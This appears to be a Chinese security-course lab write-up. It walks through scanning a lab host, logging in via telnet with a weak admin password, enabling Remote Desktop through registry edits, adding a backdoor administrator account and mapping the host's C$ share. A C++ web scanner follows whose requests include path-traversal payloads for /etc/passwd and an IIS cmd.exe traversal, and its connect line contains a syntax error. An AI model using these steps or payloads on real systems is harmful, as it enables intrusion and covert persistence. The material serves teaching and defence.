网络安全 模拟攻击 Web漏洞扫描程序设计
模拟攻击与漏洞扫描
实验原理
X-Scan
X-Scan对扫描到的每个漏洞进行“风险等级”评估,并提供漏洞描述、漏洞溢出程序,方便网管测试、修补漏洞,X-Scan采用多线程方式对指定IP地址段(或单机)进行安全漏洞检测,扫描内容包括:远程操作系统类型及版本,标准端口状态及端口BANNER信息,CGI漏洞,IIS漏洞,RPC漏洞,SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户,NT服务器NETBIOS信息等。扫描结果保存在/log/目录中,index_*.htm为扫描结果索引文件。
net命令
net命令是功能强大的以命令行方式执行的工具。它包含了管理网络环境、服务、用户、登录等Windows 98/NT/2000中大部分重要的管理功能。使用它可以轻松的管理本地或者远程计算机的网络环境,以及各种服务程序的运行和配置,或者进行用户管理和登录管理等。
本实验中用到的一些net命令
(1)net user
功能:添加或更改用户帐号或显示用户帐号信息。
net user [username [password | *] [options]] [/domain]
net user username {password | *} /add [options] [/domain]
net user username [/delete] [/domain]
添加一个账户:
net user username password /add
-
username:添加、删除、更改或查看用户帐号名。用户帐号名最多可以有20个字符。
-
password:为用户帐号分配或更改密码,最多是14个字符。
-
add:将用户帐号添加到用户帐号数据库。
(2)net localgroup
功能:添加、显示或更改本地组。
格式:
net localgroup [groupname [/comment:"text "]] [/domain]
net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
net localgroup groupname name [ ...] {/add | /delete} [/domain]
添加用户到用户组:
net localgroup groupname name[] /add
-
groupname:要添加、扩充或删除的本地组名称。只提供groupname即可查看用户列表或本地组中的全局组。
-
name[…]:列出要添加到本地组或从本地组中删除的一个或多个用户名或组名,多个用户名或组名之间以空格分隔。可以是本地要添加、扩充或删除的本地组名称。只提供 groupname 即可查看用户列表或本地组中的全局组。
-
add:将全局组名或用户名添加到本地组中。在使用该命令将用户或全局组添加到本地组之前,必须为其建立帐号。
telnet命令
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。
Telnet是常用的远程控制Web服务器的方法,它最初是由ARPANET开发的,但是现在它主要用于Internet会话。它的基本功能是允许用户登录进入远程主机系统。起初,它只是让用户的本地计算机与远程计算机连接,从而成为远程主机的一个终端。它的一些较新的版本在本地能够执行更多的处理,于是可以提供更好的响应,并且减少了通过链路发送到远程主机的信息数量。
使用Telnet协议进行远程登录时需要满足以下条件:在本地计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
- 本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名。
- 将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据包。
- 将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果。
- 最后,本地终端对远程主机进行撤消连接。该过程是撤消一个TCP连接。
修改注册表启用远程桌面的方法
使用注册表开启Windows 2003系统下远程桌面服务的一个最关键的注册表键值为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serve
,在该键值下数值名称为fDenyTSConnections
的这一项中可以看到它的数值数据为1或0,数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。只要更改这个关键的注册表键值数据值就可以达到实现开启远程桌面服务的目的了,在Windows 2003系统中使用reg
命令即可以做到这一点,方法为在命提示符下执行执行:reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
查看fDenyTSConnections
键值数据为“0x1
”,这个是十六进制数的1,上面提到,数据为1则没有开启远程桌面服务,我们要做的就是把“0x1
”改成“0x0
”。直接用“reg add
”命令是不行的,必须把原来键值删掉再添加,在命令提示符下执行:reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
。执行后会询问“是否要删除注册表值 fDenyTSConnections
吗”,确定后再执行:reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成,这样就把fDenyTSConnections
的值改为0x0
了,之后再使用远程桌面连接目标主机,发现已经可以成功连接上了。
实验步骤
一. 初步扫描
先查看B主机的ip地址
ipconfig
(1)主机A点击工具栏"Nmap"按钮,启动Nmap工具,输入命令,开始扫描。
nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 主机B的IP地址
(2)主机A分析扫描结果,从扫描结果中可以了解到主机B开放了3389、1025、80、135、21、23、445、139、443、1026、81、6666端口,使用的是 Windows Server 2003_sp1操作系统,确定具有攻击价值。
二. 进一步扫描
(1)主机A点击工具栏"X-Scan"按钮启动X-Scan,如果你使用NSS作为主机A,那么就需要自己扩展工具,这个工具位于NIC的D:\ExpNIC\Common\Tools,
先将整个文件夹复制到主机上,再复制到NSS虚拟机中,双击即可使用
点击菜单栏中的"设置"按钮,在弹出菜单中点击"扫描参数",在"检测范围"中填写主机B的IP,展开左侧树状接口中的"全局设置"在"扫描模块"选项中分别勾选"开放服务"、"NT-Server弱口令"、"NetBios信息"三个选项,其它选项为空,点击"确定"按钮,完成扫描参数设定,如图1所示。
(2)主机A点击开始进行扫描。扫描结束后,自动弹出检测报告。主机A分析扫描结果,主机B开放了23端口,可以进行telnet连接。在139端口中的NetBios信息里可以看到主机B的账户信息,并且发现了存在弱口令漏洞的test账户信息,账户类型为管理员密码为1234 。
三. 开启远程桌面服务
1.主机A尝试使用"远程桌面"远程登录主机B:
主机A点击工具栏中"远程桌面"按钮,打开远程桌面连接,尝试登录主机B,如果你使用NSS作为主机,那么这个工具位于:
在远程桌面中输入主机B的IP,点击"连接"按钮,由于主机B没有开启远程桌面的服务,结果出现了"客户端无法连接到远程计算机"的提示,远程登录失败。如图3所示:
2.主机A使用telnet登录主机B:
主机A依次点击"开始"|"运行"|"cmd"进入命令行,在命令行输入"telnet 主机B的IP",在弹出提示中输入"n"。
在弹出的telnet欢迎界面中输入前面步骤中已经扫描出的用户名和密码,若登录成功则出现如下提示:。
3.通过修改注册表开启主机B远程桌面:
主机A登录成功后在命令提示符下执行
reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\"
查看执行结果,fDenyTSConnections的值为 0x1。如图所示:
远程桌面未开启
主机A在命令提示符下执行
reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections
删除该键值,如图所示:
主机A新建一个fDenyTSConnections值为0的注册表项,在命令提示符下执行
reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0
操作成功,如图所示:
主机A确定修改是否成功,在命令提示符下再次执行 命令,查看fDenyTSConnections
的值为0
。
主机A再次使用远程桌面连接主机B,连接是否成功 (是/否)。
「注」 主机A使用远程桌面连接主机B后,便可对主机B进行任何操作,此处不做演示,同学可以自行实验。
四. 建立新用户
使用当前获得的账户登录主机B并对其进行操作难免会被察觉,所以主机A需要建立自己的账户,方便以后对主机B的控制。
(1)主机A再次使用"test"账户用"telnet"命令登录主机B,并在命令提示符下执行"net user myadmin 1234 /add","myadmin"为用户名,"1234"为密码。如图8所示:
图8 新建用户
(2)主机A将myadmin用户添加到administrators组中,在命令提示符下执行"net localgroup administrators myadmin /add"。如图9所示:
图9 添加用户到管理员组
(3)主机A使用"myadmin"账户远程桌面登录主机B,查看效果。
五. 添加磁盘映射
为了方便以后对主机B的磁盘文件进行操作,主机A需要将主机B的磁盘映射至本机上。
- 主机A使用"myadmin"账户telnet登录主机B,在命令提示符下输入"net share c$=c: /grant:myadmin,full"。将主机B中的C盘映射为c$,并赋予完全控制权限,如图10所示:
net share c$=c: /grant:skprimin,full
图10 添加共享
(2)主机A退出telnent,并与主机B建立ipc连接,主机A在命令提示符下输入"net use \\主机B的IP\ipc$ "1234" /user:"myadmin""如图11所示:
「注」删除ipc连接使用命令"net use \\主机B的IP\ipc$ /del"命令。
net use \\172.16.0.151\ipc$ "1234" /user:"skprimin"
图11 建立ipc$空连接
- 主机A继续执行命令"net use y: \\主机B的IP\c$"将主机B开放的默认共享C盘映射为自己的本地磁盘Y,如图12所示,这样,操作自己的Y盘就是操作主机B的C盘。
net use k: [\\\172.16.0.151\c$](file:///\\172.16.0.151\c$)
「注」断开映射使用"net use y: /del"命令。建立磁盘映射必须先建立ipc连接,要映射成的磁盘必须是主机A本地不存在的盘符,例如,本地磁盘已经存在D盘,就不能再将目标主机的某个磁盘映射成主机A的D盘了。
图12 将目标C盘映射至本地Y盘
(4)主机A打开"我的电脑"查看新增加的网络驱动器Y盘,如图13所示,并尝试对Y盘的文件进行增、删、改操作。
发现映射成功
六. 攻击的防范方法
通过该实验我们可以了解到,密码健壮性差和系统上开放的服务,是主机被入侵的主要途径。
那么预防我们在设置密码时就可以选择复杂一些的密码,同时计算机也要注意端口,时时注意关闭不用的端口,注册表也应得到保护,被修改时应该提醒。
Web漏洞扫描程序设计
原理
通过上述实验,我们已经掌握了TCP全扫描(TCP Connect扫描)的原理,以及如何实现TCP全扫描。编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和TCP端口全扫描是相同的,所不同的是漏洞扫描通常使用专有端口(如本任务中要实现的是Web漏洞扫描,扫描端口应为80),然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()
和recv()
,另外对来自服务器的返回信息进行判断。若返回信息中包含信息“HTTP/1.1 200 OK
”,则说明目标文件或目录存在;否则探测目标不存在,如图所示。
GET请求成功
GET请求失败(文档未找到)
相关函数与数据
关于更多的winsock API函数说明见实验1|练习三|任务一|原理部分。
1.send函数
在已建立连接的socket上发送数据,原型声明如下:
int send(sclient,sendData,strlen(sendData),0);
参数s是一个已经连接的socket;buf指向待发送数据缓冲区;len是要发送的字节数;flags指定调用的方法,通常为0。
2.recv函数
用于在一个已经建立连接的socket上接收数据,原型声明如下:
int recv(sclient,recData,255,0);
参数s是一个已经连接的socket;buf指向用于存储接受数据的缓冲区;len是接收数据缓冲区大小;flags指明调用方法,通常为0。
接收成功返回接收到的字节数,否则返回SOCKET_ERROR。可调用WSAGetLastError函数查看错误代码。
程序设计
编写Web漏洞扫描器WebScan探查远程服务器(主机)上可能存在的具有安全隐患的文件是否存在。WebScan默认提供了几个漏洞扫描,开发人员可以根据自己的需要增加漏洞扫描的数量。WebScan的实现较为简单,概括起来它主要完成下列四项工作:
- 连接目标主机;
- 向目标主机发送GET请求;
- 接收目标返回的数据;
- 根据返回数据判断探测目标是否存在。
开发流程如图1所示。
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;
char REQ[][128] = {
"GET /index.html HTTP/1.0\n\n",
"GET /bg.jpg HTTP/1.0\n\n",
"GET /bbs/index.asp HTTP/1.0\n\n",
"GET /upload.asp HTTP/1.0\n\n",
"GET /../../../../etc/passwd HTTP/1.0\n\n",
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?c+dir+c:\ HTTP/1.0\n\n",
"GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"};
int iREQ = 7;
int main(int argc, char **argv)
{
int mysocket;
struct sockaddr_in serAddr;
char buff[1500];
char *fmsg = "HTTP/1.1 200 OK";
//! 程序唯一入口参数目标主机IP地址,如172.16.0.50
if (argc != 2)
{
cout << "参数错误!" << endl;
cout << "正确参数的格式为: 目的IP地址" << endl;
return -1;
}
WSADATA wsaData;
//! 调用WSAStartup函数,加载Winsock库,版本2.2
WSAStartup(MAKEWORD(2, 2), &wsaData);
serAddr.sin_family = AF_INET;
serAddr.sin_port = htons(80);
serAddr.sin_addr.s_addr = inet_addr(argv[1]);
printf("目标主机%s\n", argv[1]);
for (int i = 0; i < iREQ; i++)
{
//! 调用socket函数,创建流式套接字
SOCKET socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//! 调用connect函数,创建套接字连接
// 若成功建立连接,发送GET请求,并接收目标返回数据
// 若目标返回数据中包含HTTP/1.1 200 OK信息,则表示目标(漏洞)存在.
// 在此处填写代码......
int retcon = connect(socket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
if (retcon == -1)
{
printf("connect error");
}
else
{
string Req = REQ[i];
const char *sendData;
sendData = Req.c_str();
int retsend = send(socket, sendData, strlen(sendData), 0);
if (retsend == -1)
{
printf("send failed");
}
char recData[255];
int retrecv = recv(socket, recData, 255, 0);
if (retrecv == -1)
{
printf("recv failed");
}
string rD = recData;
if (rD.find(fmsg) != string::npos)
{
cout << "√" << REQ[i] << endl;
}
else
cout << "×" << REQ[i] << endl;
}
closesocket(socket);
}
WSACleanup();
return 0;
}
编译出来的文件在此处,运行时需要在命令行接收参数运行
WebScan.exe IP地址